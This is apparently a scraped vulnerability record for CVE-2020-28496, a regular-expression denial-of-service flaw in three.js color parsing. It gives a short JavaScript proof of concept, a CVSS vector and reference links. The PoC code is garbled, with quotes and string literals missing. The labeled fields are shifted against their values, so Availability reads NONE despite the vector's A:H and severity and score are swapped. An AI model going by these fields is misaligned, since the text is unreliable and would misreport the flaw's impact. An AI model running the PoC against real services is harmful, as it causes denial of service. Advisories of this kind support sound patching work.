CVE-2020-28496 Information

Description

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require(’three’) function build_blank (n) var ret = gb(\ for (var i = 0; i < n; i++) ret += \ \ return ret + ; var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+\ ms)

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Reference

https://github.com/mrdoob/three.js/issues/21132 https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972 https://snyk.io/vuln/SNYK-JS-THREE-1064931

Attack Complexity

LOW

Privileges Required

NONE

User Interaction Required

NONE

Scope

NONE

Confidentiality Impact

UNCHANGED

Integrity Impact

NONE

Availability Impact

NONE

Base Score

HIGH

Base Severity

7.5